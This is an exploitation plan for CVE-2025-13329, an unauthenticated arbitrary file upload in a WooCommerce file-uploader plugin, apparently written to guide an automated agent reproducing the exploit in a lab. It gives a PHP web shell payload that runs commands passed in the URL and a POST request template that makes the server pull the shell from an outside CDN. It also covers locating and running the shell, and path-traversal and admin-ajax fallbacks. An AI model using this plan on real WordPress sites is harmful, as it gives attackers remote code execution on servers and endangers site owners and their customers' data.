Exploitation Research Plan - CVE-2025-13329

1. Vulnerability Summary

The File Uploader for WooCommerce plugin (<= 1.0.3) is vulnerable to Unauthenticated Arbitrary File Upload. The vulnerability exists in the callback function associated with the add-image-data REST API endpoint.

The plugin integrates with the Uploadcare service. While the file is initially uploaded to Uploadcare's infrastructure, the plugin provides a REST API endpoint that allows the server to fetch these files and store them locally. Because the callback function for this endpoint lacks file type validation (e.g., checking for .php extensions) and does not implement any authentication or capability checks, an unauthenticated attacker can instruct the WordPress server to download a malicious script from Uploadcare and save it in a web-accessible directory.

2. Attack Vector Analysis

• Endpoint: /wp-json/file-uploader-for-woocommerce/v1/add-image-data (Namespace inferred from plugin slug).
• HTTP Method: POST
• Authentication: None (Unauthenticated).
• Parameters:
  • image_url or file_url (Inferred): The URL of the file hosted on Uploadcare.
  • order_id (Inferred): Often required by WooCommerce file uploaders to associate the file with a specific order, though likely not validated for existence.
• Preconditions: The plugin must be active. An attacker needs an Uploadcare file URL (which can be obtained by uploading a file to Uploadcare's public API or using a trial account).

3. Code Flow (Inferred)

1. Registration: During rest_api_init, the plugin registers a route (likely file-uploader-for-woocommerce/v1) with the endpoint add-image-data.
2. Missing Security: The permission_callback for this route likely returns __return_true or is omitted, allowing unauthenticated access.
3. Data Processing: The callback function retrieves a URL or UUID from the request parameters (e.g., $_POST['url'] or $request->get_param('url')).
4. Insecure Download: The plugin uses wp_remote_get() or a similar PHP filesystem function to fetch the file from the provided Uploadcare URL.
5. Storage: The file is saved to the WordPress uploads directory (likely within a subfolder like wc-file-uploader/).
6. SINK: The plugin fails to use wp_check_filetype() or any extension-based filtering before saving the file, allowing .php files to be written to the disk.

4. Nonce Acquisition Strategy

REST API endpoints in WordPress generally require a nonce (_wpnonce) only if the request is made from a browser session using cookie-based authentication. For unauthenticated (nopriv) endpoints, a nonce is often not required unless explicitly checked in the code.

If the plugin does require a nonce for the REST API (action wp_rest):

1. Identify Script Loading: The plugin likely enqueues scripts on WooCommerce product pages or the cart/checkout page where file uploads are enabled.
2. Create Test Page:

   wp post create --post_type=page --post_status=publish --post_title="Upload Test" --post_content='[file_uploader_for_woocommerce]'
   

   (Note: Replace [file_uploader_for_woocommerce] with the actual shortcode found via grep -r "add_shortcode" .)
3. Extract Nonce:
   Navigate to the newly created page and use browser_eval:

   // Example: The plugin might localize data into a variable like 'fufw_vars'
   window.fufw_vars?.nonce || window.wpApiSettings?.nonce
   

5. Exploitation Strategy

Step 1: Prepare the Malicious File

Upload a simple PHP shell to Uploadcare to get a public URL.

• Payload: <?php echo "CVE-2025-13329-EXPLOITED"; system($_GET['cmd']); ?>
• Target URL: https://ucarecdn.com/<UUID>/shell.php (Uploadcare CDN URL).

Step 2: Identify the Exact REST Endpoint

Verify the registered routes:

wp rest route list | grep "file-uploader"

Step 3: Trigger the Upload

Send a POST request to the vulnerable endpoint.

Request Template:

POST /wp-json/file-uploader-for-woocommerce/v1/add-image-data HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{
    "url": "https://ucarecdn.com/<UUID>/shell.php",
    "file_name": "shell.php",
    "order_id": "1"
}

(Note: Parameter names url and file_name are inferred; the agent should check the callback function in the source if available to confirm).

Step 4: Locate the Uploaded Shell

The file will likely be stored in wp-content/uploads/file-uploader-for-woocommerce/ or similar.

1. Check the response of the POST request; it may return the local path or attachment ID.
2. If not returned, brute-force or list the directory:

   find /var/www/html/wp-content/uploads/ -name "shell.php"
   

Step 5: Execution

Access the shell:
GET /wp-content/uploads/file-uploader-for-woocommerce/shell.php?cmd=id

6. Test Data Setup

1. Install Plugin: Ensure file-uploader-for-woocommerce version 1.0.3 is installed and active.
2. WooCommerce: WooCommerce must be installed and active as the plugin is an add-on.
3. Uploadcare URL: For testing, use any publicly accessible URL that serves a .php file as text (Uploadcare CDN mimics this).

7. Expected Results

• The REST API responds with a 200 OK or 201 Created, potentially including the URL of the newly created file.
• A file named shell.php (or similar) is created in the WordPress uploads directory.
• The file is executable by the web server, returning the output of the id command.

8. Verification Steps

1. Check Filesystem:

   ls -la /var/www/html/wp-content/uploads/file-uploader-for-woocommerce/
   

2. Verify Content:

   cat /var/www/html/wp-content/uploads/file-uploader-for-woocommerce/shell.php
   

3. Check REST API Registration:

   wp eval 'print_r( $wp_rest_server->get_routes()["file-uploader-for-woocommerce/v1"] );'
   

9. Alternative Approaches

• Alternative Parameters: If url fails, check for file_id, uuid, or image_data. The plugin may use the Uploadcare UUID and construct the URL internally.
• Path Traversal: If the file_name parameter is accepted, attempt path traversal to place the shell in the root or a plugin directory: ../../shell.php.
• Admin-AJAX Fallback: Check if the same functionality is mirrored in an admin-ajax.php handler (wp_ajax_nopriv_add_image_data).